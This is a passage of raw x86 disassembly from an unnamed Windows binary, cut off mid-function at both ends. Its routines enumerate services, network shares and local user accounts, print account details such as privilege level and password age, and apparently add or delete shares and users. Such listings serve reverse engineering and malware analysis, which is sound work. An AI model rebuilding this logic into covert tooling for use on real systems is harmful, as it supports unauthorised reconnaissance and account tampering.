jmp short loc_411391
; ---------------------------------------------------------------------------
loc_41135B: ; CODE XREF: sub_411274+D2j
; DATA XREF: seg000:off_4113B8o
push offset aTheServiceDe_0 ; jumptable 00411346 case 10
jmp short loc_411391
; ---------------------------------------------------------------------------
loc_411362: ; CODE XREF: sub_411274+D2j
; DATA XREF: seg000:off_4113B8o
push offset aTheServiceHasB ; jumptable 00411346 case 0
jmp short loc_411391
; ---------------------------------------------------------------------------
loc_411369: ; CODE XREF: sub_411274+D2j
; DATA XREF: seg000:off_4113B8o
push offset aTheSpecified_0 ; jumptable 00411346 case 2
jmp short loc_411391
; ---------------------------------------------------------------------------
loc_411370: ; CODE XREF: sub_411274+D2j
; DATA XREF: seg000:off_4113B8o
push offset aTheServiceCoul ; jumptable 00411346 case 11
jmp short loc_411391
; ---------------------------------------------------------------------------
loc_411377: ; CODE XREF: sub_411274+D2j
; DATA XREF: seg000:off_4113B8o
push offset aTheServiceHa_0 ; jumptable 00411346 case 14
jmp short loc_411391
; ---------------------------------------------------------------------------
loc_41137E: ; CODE XREF: sub_411274+D2j
; DATA XREF: seg000:off_4113B8o
push offset aTheRequested_1 ; jumptable 00411346 case 3
jmp short loc_411391
; ---------------------------------------------------------------------------
loc_411385: ; CODE XREF: sub_411274+D2j
; DATA XREF: seg000:off_4113B8o
push offset aTheServiceHasN ; jumptable 00411346 case 4
jmp short loc_411391
; ---------------------------------------------------------------------------
loc_41138C: ; CODE XREF: sub_411274+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_411391: ; CODE XREF: sub_411274+41j
; sub_411274+4Bj ...
push offset dword_45DD10
call sub_4135AD
pop ecx
pop ecx
jmp short loc_4113B2
; ---------------------------------------------------------------------------
loc_41139F: ; CODE XREF: sub_411274+36j
; sub_411274+89j ...
push eax ; default
; jumptable 00411346 cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_45DD10
call sub_4135AD
add esp, 0Ch
loc_4113B2: ; CODE XREF: sub_411274+129j
mov eax, offset dword_45DD10
retn
sub_411274 endp
; ---------------------------------------------------------------------------
off_4113B8 dd offset loc_411362 ; DATA XREF: sub_411274+D2r
dd offset loc_411369 ; jump table for switch statement
dd offset loc_41137E
dd offset loc_411385
dd offset loc_41134D
dd offset loc_41135B
dd offset loc_411370
dd offset loc_411377
dd offset loc_411354
dd offset loc_41139F
byte_4113E0 db 0, 9, 1, 2 ; DATA XREF: sub_411274+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4113F2 proc near ; CODE XREF: seg000:0040D292p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call ds:dword_42F6FC
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 14h
loc_41142A: ; CODE XREF: sub_4113F2+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call ds:dword_42F6C8
test eax, eax
jnz short loc_411464
call ds:dword_41F068 ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_411518
loc_411464: ; CODE XREF: sub_4113F2+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_41150F
lea esi, [ebp+var_188]
loc_411475: ; CODE XREF: sub_4113F2+117j
mov eax, [esi+8]
dec eax
jz short loc_4114BE
dec eax
jz short loc_4114B7
dec eax
jz short loc_4114B0
dec eax
jz short loc_4114A9
dec eax
jz short loc_4114A2
dec eax
jz short loc_41149B
dec eax
jz short loc_411494
push offset aUnknown_0 ; " Unknown"
jmp short loc_4114C3
; ---------------------------------------------------------------------------
loc_411494: ; CODE XREF: sub_4113F2+99j
push offset aPaused_0 ; " Paused"
jmp short loc_4114C3
; ---------------------------------------------------------------------------
loc_41149B: ; CODE XREF: sub_4113F2+96j
push offset aPausing ; " Pausing"
jmp short loc_4114C3
; ---------------------------------------------------------------------------
loc_4114A2: ; CODE XREF: sub_4113F2+93j
push offset aContinuing ; " Continuing"
jmp short loc_4114C3
; ---------------------------------------------------------------------------
loc_4114A9: ; CODE XREF: sub_4113F2+90j
push offset aRunning ; " Running"
jmp short loc_4114C3
; ---------------------------------------------------------------------------
loc_4114B0: ; CODE XREF: sub_4113F2+8Dj
push offset aStoping ; " Stoping"
jmp short loc_4114C3
; ---------------------------------------------------------------------------
loc_4114B7: ; CODE XREF: sub_4113F2+8Aj
push offset aStarting ; " Starting"
jmp short loc_4114C3
; ---------------------------------------------------------------------------
loc_4114BE: ; CODE XREF: sub_4113F2+87j
push offset aStopped ; " Stopped"
loc_4114C3: ; CODE XREF: sub_4113F2+A0j
; sub_4113F2+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_4135AD
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_4135AD
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_411475
loc_41150F: ; CODE XREF: sub_4113F2+77j
cmp [ebp+var_8], ebx
jnz loc_41142A
loc_411518: ; CODE XREF: sub_4113F2+6Cj
push [ebp+var_C]
call ds:dword_42F60C
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_4113F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41152F proc near ; CODE XREF: seg000:loc_40D349p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_4115C8
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_411558
dec eax
jnz short loc_4115A8
push edi
push 0
call sub_411701
pop ecx
pop ecx
jmp short loc_4115A4
; ---------------------------------------------------------------------------
loc_411558: ; CODE XREF: sub_41152F+18j
cmp [ebp+arg_8], 0
jnz short loc_411596
push 24h
push edi
call sub_415110
pop ecx
test eax, eax
pop ecx
jnz short loc_411596
push 57h
pop eax
loc_41156F: ; CODE XREF: sub_41152F+77j
push eax
call sub_411ED9
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_45DFCC
push ds:off_42B9A8[eax*4]
push offset dword_42C0B4
push esi
call sub_4135AD
add esp, 18h
jmp short loc_4115E8
; ---------------------------------------------------------------------------
loc_411596: ; CODE XREF: sub_41152F+2Dj
; sub_41152F+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_411655
add esp, 0Ch
loc_4115A4: ; CODE XREF: sub_41152F+27j
test eax, eax
jnz short loc_41156F
loc_4115A8: ; CODE XREF: sub_41152F+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_45DFCC
push ds:off_42B9AC[eax*4]
push offset dword_42C084
push esi
call sub_4135AD
add esp, 10h
jmp short loc_4115E8
; ---------------------------------------------------------------------------
loc_4115C8: ; CODE XREF: sub_41152F+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_45DFCC
lea eax, [eax+eax*2]
push ds:off_42B9A8[eax*4]
push offset dword_42C04C
push esi
call sub_4135AD
add esp, 0Ch
loc_4115E8: ; CODE XREF: sub_41152F+65j
; sub_41152F+97j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_41152F endp
; =============== S U B R O U T I N E =======================================
sub_4115EE proc near ; CODE XREF: sub_412A1E+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_4115FB
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4115FB: ; CODE XREF: sub_4115EE+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, ds:dword_41F128
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; dword_41F128
test ds:byte_45E1CC, 1
mov ebp, eax
jnz short loc_411638
or ds:byte_45E1CC, 1
lea eax, [ebp+1]
push eax
call sub_414855
pop ecx
mov ds:dword_45DF6C, eax
loc_411638: ; CODE XREF: sub_4115EE+32j
push esi
push esi
push ebp
push ds:dword_45DF6C
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; dword_41F128
mov eax, ds:dword_45DF6C
pop edi
pop ebp
pop ebx
pop esi
retn
sub_4115EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411655 proc near ; CODE XREF: sub_41152F+6Dp
; sub_412D42+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_4116C0
push [ebp+arg_4]
mov edi, eax
call sub_4116C0
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_415110
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_4116C0
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call ds:dword_42F608
pop edi
leave
retn
sub_411655 endp
; =============== S U B R O U T I N E =======================================
sub_4116C0 proc near ; CODE XREF: sub_411655+Ap
; sub_411655+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_4116CD
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4116CD: ; CODE XREF: sub_4116C0+9j
push ebx
push esi
mov esi, ds:dword_41F12C
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; dword_41F12C
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_414855
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; dword_41F12C
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_4116C0 endp
; =============== S U B R O U T I N E =======================================
sub_411701 proc near ; CODE XREF: sub_41152F+20p
; sub_412A1E+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_4116C0
push [esp+8+arg_4]
mov esi, eax
call sub_4116C0
pop ecx
pop ecx
push 0
push eax
push esi
call ds:dword_42F5E0
pop esi
retn
sub_411701 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411724 proc near ; CODE XREF: seg000:0040D375p
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_4116C0
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 18h
loc_41175D: ; CODE XREF: sub_411724+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call ds:dword_42F654
mov ebx, eax
cmp ebx, esi
jz short loc_4117C0
cmp ebx, 0EAh
jz short loc_4117C0
push ebx
push ebx
call sub_411ED9
pop ecx
push eax
lea eax, [ebp+var_210]
push offset dword_42C114
push eax
call sub_4135AD
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 24h
jmp short loc_41182D
; ---------------------------------------------------------------------------
loc_4117C0: ; CODE XREF: sub_411724+5Dj
; sub_411724+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_411824
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_4117CE: ; CODE XREF: sub_411724+FCj
push dword ptr [esi+10h]
call ds:dword_42F5FC
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_4117E5
mov eax, offset aNo ; "No"
loc_4117E5: ; CODE XREF: sub_411724+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_4135AD
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_4117CE
xor esi, esi
loc_411824: ; CODE XREF: sub_411724+A2j
push [ebp+var_4]
call ds:dword_42F798
loc_41182D: ; CODE XREF: sub_411724+9Aj
cmp ebx, 0EAh
jz loc_41175D
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_411724 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411845 proc near ; CODE XREF: seg000:loc_40D3EBp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_4118E9
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_411887
dec eax
jz short loc_41187C
dec eax
jnz short loc_4118A2
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_41198B
add esp, 14h
jmp short loc_41189E
; ---------------------------------------------------------------------------
loc_41187C: ; CODE XREF: sub_411845+1Dj
push ebx
push edi
call sub_41196A
pop ecx
pop ecx
jmp short loc_41189E
; ---------------------------------------------------------------------------
loc_411887: ; CODE XREF: sub_411845+1Aj
cmp [ebp+arg_8], edi
jz short loc_41189B
push [ebp+arg_8]
push ebx
push edi
call sub_411910
add esp, 0Ch
jmp short loc_41189E
; ---------------------------------------------------------------------------
loc_41189B: ; CODE XREF: sub_411845+45j
push 57h
pop eax
loc_41189E: ; CODE XREF: sub_411845+35j
; sub_411845+40j ...
cmp eax, edi
jnz short loc_4118C2
loc_4118A2: ; CODE XREF: sub_411845+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_45E1D0
push ds:off_42B9AC[eax*4]
push offset dword_42C204
push esi
call sub_4135AD
add esp, 10h
jmp short loc_411909
; ---------------------------------------------------------------------------
loc_4118C2: ; CODE XREF: sub_411845+5Bj
push eax
call sub_411ED9
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_45E1D0
push ds:off_42B9A8[eax*4]
push offset dword_42C1C4
push esi
call sub_4135AD
add esp, 18h
jmp short loc_411909
; ---------------------------------------------------------------------------
loc_4118E9: ; CODE XREF: sub_411845+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_45E1D0
lea eax, [eax+eax*2]
push ds:off_42B9A8[eax*4]
push offset dword_42C188
push esi
call sub_4135AD
add esp, 0Ch
loc_411909: ; CODE XREF: sub_411845+7Bj
; sub_411845+A2j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_411845 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411910 proc near ; CODE XREF: sub_411845+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_4116C0
push [ebp+arg_4]
mov edi, eax
call sub_4116C0
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_4116C0
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call ds:dword_42F5EC
pop edi
leave
retn
sub_411910 endp
; =============== S U B R O U T I N E =======================================
sub_41196A proc near ; CODE XREF: sub_411845+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_4116C0
push [esp+8+arg_4]
mov esi, eax
call sub_4116C0
pop ecx
pop ecx
push eax
push esi
call ds:dword_42F5DC
pop esi
retn
sub_41196A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41198B proc near ; CODE XREF: sub_411845+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_4116C0
push [ebp+arg_4]
mov esi, eax
call sub_4116C0
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call ds:dword_42F760
test eax, eax
mov [ebp+arg_0], eax
jnz loc_411D18
mov eax, [ebp+var_4]
test eax, eax
jz loc_411D53
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_4135AD
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4110B0
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_4135AD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4110B0
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_4135AD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4110B0
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_4135AD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4110B0
mov eax, [ebp+var_4]
add esp, 40h
mov eax, [eax+10h]
sub eax, 0
jz short loc_411AA4
dec eax
jz short loc_411A9D
dec eax
jz short loc_411A96
mov eax, offset aUnknown ; "Unknown"
jmp short loc_411AA9
; ---------------------------------------------------------------------------
loc_411A96: ; CODE XREF: sub_41198B+102j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_411AA9
; ---------------------------------------------------------------------------
loc_411A9D: ; CODE XREF: sub_41198B+FFj
mov eax, offset aUser_1 ; "User"
jmp short loc_411AA9
; ---------------------------------------------------------------------------
loc_411AA4: ; CODE XREF: sub_41198B+FCj
mov eax, offset aGuest ; "Guest"
loc_411AA9: ; CODE XREF: sub_41198B+109j
; sub_41198B+110j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_4135AD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4110B0
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_4135AD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4110B0
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_4135AD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4110B0
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_4135AD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4110B0
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_4135AD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4110B0
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_4135AD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4110B0
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_4135AD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4110B0
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_4135AD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4110B0
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_4135AD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4110B0
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_4135AD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4110B0
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_4135AD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4110B0
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_4135AD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4110B0
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_4135AD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4110B0
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_4135AD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4110B0
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_4135AD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4110B0
add esp, 20h
pop edi
pop ebx
jmp short loc_411D44
; ---------------------------------------------------------------------------
loc_411D18: ; CODE XREF: sub_41198B+35j
push eax
lea eax, [ebp+var_204]
push offset dword_42C238
push eax
call sub_4135AD
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_4110B0
add esp, 20h
loc_411D44: ; CODE XREF: sub_41198B+38Bj
cmp [ebp+var_4], 0
jz short loc_411D53
push [ebp+var_4]
call ds:dword_42F798
loc_411D53: ; CODE XREF: sub_41198B+40j
; sub_41198B+3BDj
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_41198B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411D59 proc near ; CODE XREF: seg000:0040D417p
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_4116C0
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 18h
loc_411D98: ; CODE XREF: sub_411D59+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call ds:dword_42F670
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_411DF9
cmp eax, 0EAh
jz short loc_411DF9
push eax
push eax
call sub_411ED9
pop ecx
push eax
lea eax, [ebp+var_218]
push offset dword_42C440
push eax
call sub_4135AD
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 24h
jmp short loc_411E74
; ---------------------------------------------------------------------------
loc_411DF9: ; CODE XREF: sub_411D59+62j
; sub_411D59+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_411E87
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_411E74
loc_411E0B: ; CODE XREF: sub_411D59+EDj
cmp edi, esi
jz short loc_411E4A
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_4 ; " %S"
push eax
call sub_4135AD
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_411E0B
jmp short loc_411E74
; ---------------------------------------------------------------------------
loc_411E4A: ; CODE XREF: sub_411D59+B4j
lea eax, [ebp+var_218]
push offset dword_42C3F8
push eax
call sub_4135AD
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 1Ch
loc_411E74: ; CODE XREF: sub_411D59+9Ej
; sub_411D59+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_411E87
push edi
call ds:dword_42F798
xor edi, edi
mov [ebp+var_4], edi
loc_411E87: ; CODE XREF: sub_411D59+A5j
; sub_411D59+120j
cmp [ebp+var_C], 0EAh
jz loc_411D98
cmp edi, esi
jz short loc_411E9F
push edi
call ds:dword_42F798
loc_411E9F: ; CODE XREF: sub_411D59+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_4135AD
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_411D59 endp
; =============== S U B R O U T I N E =======================================
sub_411ED9 proc near ; CODE XREF: sub_41152F+41p
; sub_411724+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_411F8B
jz loc_411F84
cmp eax, 7Bh
ja short loc_411F50
jz short loc_411F46
cmp eax, 5
jz short loc_411F3C
cmp eax, 8
jz short loc_411F32
cmp eax, 32h
jz short loc_411F28
cmp eax, 35h
jz short loc_411F1E
cmp eax, 57h
jnz loc_411FDA
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_411FFB
; ---------------------------------------------------------------------------
loc_411F1E: ; CODE XREF: sub_411ED9+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_411FFB
; ---------------------------------------------------------------------------
loc_411F28: ; CODE XREF: sub_411ED9+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_411FFB
; ---------------------------------------------------------------------------
loc_411F32: ; CODE XREF: sub_411ED9+26j
push offset aNotEnoughMemor ; "Not enough memory."
